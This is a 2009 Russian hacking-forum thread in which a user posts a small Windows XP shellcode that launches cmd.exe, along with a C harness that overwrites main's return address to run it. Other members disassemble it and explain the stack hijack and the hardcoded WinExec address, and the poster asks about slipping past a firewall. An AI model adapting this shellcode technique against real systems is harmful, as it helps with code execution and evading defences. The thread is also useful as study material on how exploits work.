HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Странный shell
  #1  
Старый 08.12.2009, 00:22
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
С нами: 8817310

Репутация: 108
По умолчанию Странный shell

Кто-то может обьяснить, что делает этот код? Скачал с милворма, там написано, что это шелл для cmd.
Цитата:
Description : It's a 23 Byte Shellcode which Execute Cmd.exe Tested Under Windows Xp SP2 En
Я откомпилировал, но не могу понять, что он делает.
Код:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
                        "\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}
Написано, что он "Execute Cmd.exe", то есть вызывает cmd. Если да, то как это использовать?

Последний раз редактировалось =Zeus=; 08.12.2009 в 00:26..
 
Ответить с цитированием

  #2  
Старый 08.12.2009, 00:52
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами: 10097606

Репутация: 3349


По умолчанию

Код:
 "\x8b\xec\x68\x65\x78\x65"
                        "\x20\x68\x63\x6d\x64\x2e"
                        "\x8d\x45\xf8\x50\xb8\x8D"
                        "\x15\x86\x7C\xff\xd0";
это асм команды:
Код:
mov         ebp,esp 
push        20657865h // 
push        2E646D63h // это типа cmd.exe
lea         eax,[ebp-8] 
push        eax  
mov         eax,7C86158Dh // это хардкодно прописали адрес функции скорее всего WinExec
call        eax   // вызвать функцию
такая вешь ооочень фуфлова, потом что работает только на определенной версии винды и языка системы.
Другой язык или/и другая версия винды и будет провал.

Последний раз редактировалось slesh; 08.12.2009 в 00:55..
 
Ответить с цитированием

  #3  
Старый 08.12.2009, 00:58
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
С нами: 8817310

Репутация: 108
По умолчанию

А как тогда передать параметры в WinExec()?
Фаервол все равно спалит вызов?
 
Ответить с цитированием

  #4  
Старый 08.12.2009, 01:01
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
С нами: 10097606

Репутация: 3349


По умолчанию

При этом комбинация
Код:
int *ret;
ret=(int *)&ret+2; //  ret будет равняться адресу созврата из функции main
printf("Shellcode Length is : %d\n",strlen(shellcode));
(*ret)=(int)shellcode; // перебьем адрес возврата на шелкод
return 0; // завершим функцию main. А т.к. адрес возврата мы подменили то вызовется шелкод
т.е. это пример вызова этого кода через срыв стека.

Передача параметров идет так:
Код:
mov         ebp,esp // запомним адрес вершины стека
// поместим в стек 
push        20657865h //
push        2E646D63h // это типа cmd.exe
lea         eax,[ebp-8] // eax будет равняться указателю на начало строки cmd.exe которую закинули в стек
push        eax  // занесем параметр для WinExec а именно адрес имени проги. В нашем случае cmd.exe

Причем тут фаер?

Последний раз редактировалось slesh; 08.12.2009 в 01:10..
 
Ответить с цитированием

  #5  
Старый 08.12.2009, 01:13
=Zeus=
Участник форума
Регистрация: 10.08.2009
Сообщений: 238
С нами: 8817310

Репутация: 108
По умолчанию

1. Я понимаю что для того чтобы что-то изменить нужно знать асм?
2. Ну например на Делфи если написать
Цитата:
WinExec('cmd.exe', sw_show);
то фаер спалит запрос. А тут?

Код:
push        2E646D63h // это типа cmd.exe
А сюда писать то, что мне нужно вызвать?

Последний раз редактировалось =Zeus=; 08.12.2009 в 01:26..
 
Ответить с цитированием

  #6  
Старый 08.12.2009, 01:38
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Это ASM) Самый сложный ЯП.
 
Ответить с цитированием

  #7  
Старый 08.12.2009, 04:53
gisTy
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
С нами: 9454841

Репутация: 504


По умолчанию

Цитата:
Сообщение от mailbrush  
Это ASM) Самый сложный ЯП.
не сложнее остальных
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
webshell scripts -) blackybr PHP 20 28.03.2010 02:17



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.